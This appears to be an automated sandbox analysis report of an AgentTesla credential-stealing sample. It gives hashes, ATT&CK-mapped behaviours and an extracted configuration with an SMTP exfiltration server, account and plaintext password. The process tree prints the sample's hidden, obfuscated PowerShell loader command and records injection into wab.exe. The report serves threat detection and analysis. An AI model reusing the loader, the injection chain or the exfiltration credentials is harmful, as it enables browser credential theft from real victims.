agenttesla | fdaaef3df184431dac7f489471ec9de34d4dff895ef7b04be85eb40117477621

General

Target

fattigdomsrapporten.exe
Size

646KB
MD5

e372ae48f6c86c7491a89876df42aa4d
SHA1

04da90d9bf4af0778b27c6f5f8890096ffd7061a
SHA256

fdaaef3df184431dac7f489471ec9de34d4dff895ef7b04be85eb40117477621
SHA512

38c15bb091d79f52a5952fa757581b9a3dedcba39effaa81cc6c75739386a8bd0f8c8cb5d8c0be9d54c66dd4d48341360687c8ee0673f31a73476a089991c22d
SSDEEP

12288:YltuKOcMKJ/TI+oeGuL9JaLNvsNP6L/Dm6Vp2qBZznT4OkfG:AOo/c+oeGuROtaPyCU2yZz0OmG

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.andalan-pacific.com
Port:
587
Username:
[email protected]
Password:
OperationAPS2024
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	drive.google.com
19	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	api.ipify.org
37	api.ipify.org
38	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3192	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1892	powershell.exe
3192	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1892 set thread context of 3192	1892	powershell.exe	92

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\Plasmodesm.kim	fattigdomsrapporten.exe
File opened for modification	C:\Windows\resources\0409\fibrinogenically\cooking.tro	fattigdomsrapporten.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fattigdomsrapporten.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
3192	wab.exe
3192	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	3192	wab.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 1892	1516	fattigdomsrapporten.exe	83
PID 1516 wrote to memory of 1892	1516	fattigdomsrapporten.exe	83
PID 1516 wrote to memory of 1892	1516	fattigdomsrapporten.exe	83
PID 1892 wrote to memory of 3192	1892	powershell.exe	92
PID 1892 wrote to memory of 3192	1892	powershell.exe	92
PID 1892 wrote to memory of 3192	1892	powershell.exe	92
PID 1892 wrote to memory of 3192	1892	powershell.exe	92
PID 1892 wrote to memory of 3192	1892	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\fattigdomsrapporten.exe
"C:\Users\Admin\AppData\Local\Temp\fattigdomsrapporten.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$underchin=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Opnormptr21\Disbosom.Try';$Sammenrodende=$underchin.SubString(1622,3);.$Sammenrodende($underchin) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Opnormptr21\Disbosom.Try

Filesize
71KB

MD5
9c1808a41ca83c980b936edea869ae73

SHA1
6d699e3d8708e34c30bad7baf8e2759b0abd0343

SHA256
e123d34d921929fee761fa967c2aa9508d5f328ecc4eb96d1ada999760281e68

SHA512
2886be6a632f3860cdeab6470de7ea7b866e4e9ac635f998ad822df6d71aa9cf4f96db428a10ed9208abd33f20872d081f2c8883d32ea9d3f4425ef5d5548e11

Download Submit
C:\Users\Admin\AppData\Local\Temp\Opnormptr21\Gridded.She

Filesize
316KB

MD5
d63fa7f105a85868a68ca6e5e894c8ce

SHA1
ebab18f36fc6bc569519ba3e6e49655409f51d7d

SHA256
12ea3f96b2fcb6f0120627e57352162b31884014c9d488451a7daea768faea70

SHA512
33e7d877b85023ae726dee1f49646cfedd794ddcc2717c90930927a3c7db4682a6b6455336e9c3b4096ac2b43a5e3ac0a52545eea12683aac0f4c6537fb5e794

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxeoei0f.dpj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1892-33-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-24-0x0000000006220000-0x000000000623E000-memory.dmp

Filesize
120KB

Download
memory/1892-11-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/1892-32-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-12-0x0000000005B10000-0x0000000005B76000-memory.dmp

Filesize
408KB

Download
memory/1892-9-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-20-0x0000000005B80000-0x0000000005ED4000-memory.dmp

Filesize
3.3MB

Download
memory/1892-34-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-25-0x0000000006240000-0x000000000628C000-memory.dmp

Filesize
304KB

Download
memory/1892-26-0x00000000067C0000-0x0000000006856000-memory.dmp

Filesize
600KB

Download
memory/1892-27-0x0000000006720000-0x000000000673A000-memory.dmp

Filesize
104KB

Download
memory/1892-28-0x0000000006770000-0x0000000006792000-memory.dmp

Filesize
136KB

Download
memory/1892-29-0x00000000077F0000-0x0000000007D94000-memory.dmp

Filesize
5.6MB

Download
memory/1892-7-0x0000000004BB0000-0x0000000004BE6000-memory.dmp

Filesize
216KB

Download
memory/1892-31-0x0000000008420000-0x0000000008A9A000-memory.dmp

Filesize
6.5MB

Download
memory/1892-6-0x000000007488E000-0x000000007488F000-memory.dmp

Filesize
4KB

Download
memory/1892-13-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-10-0x00000000050D0000-0x00000000050F2000-memory.dmp

Filesize
136KB

Download
memory/1892-8-0x0000000005300000-0x0000000005928000-memory.dmp

Filesize
6.2MB

Download
memory/1892-36-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-37-0x000000007488E000-0x000000007488F000-memory.dmp

Filesize
4KB

Download
memory/1892-39-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-38-0x0000000008AA0000-0x000000000BCA8000-memory.dmp

Filesize
50.0MB

Download
memory/1892-40-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-41-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-42-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/1892-53-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/3192-57-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/3192-58-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/3192-59-0x0000000001200000-0x0000000001242000-memory.dmp

Filesize
264KB

Download
memory/3192-60-0x0000000024120000-0x0000000024170000-memory.dmp

Filesize
320KB

Download
memory/3192-61-0x0000000024210000-0x00000000242A2000-memory.dmp

Filesize
584KB

Download
memory/3192-62-0x0000000024170000-0x000000002417A000-memory.dmp

Filesize
40KB

Download

Analysis

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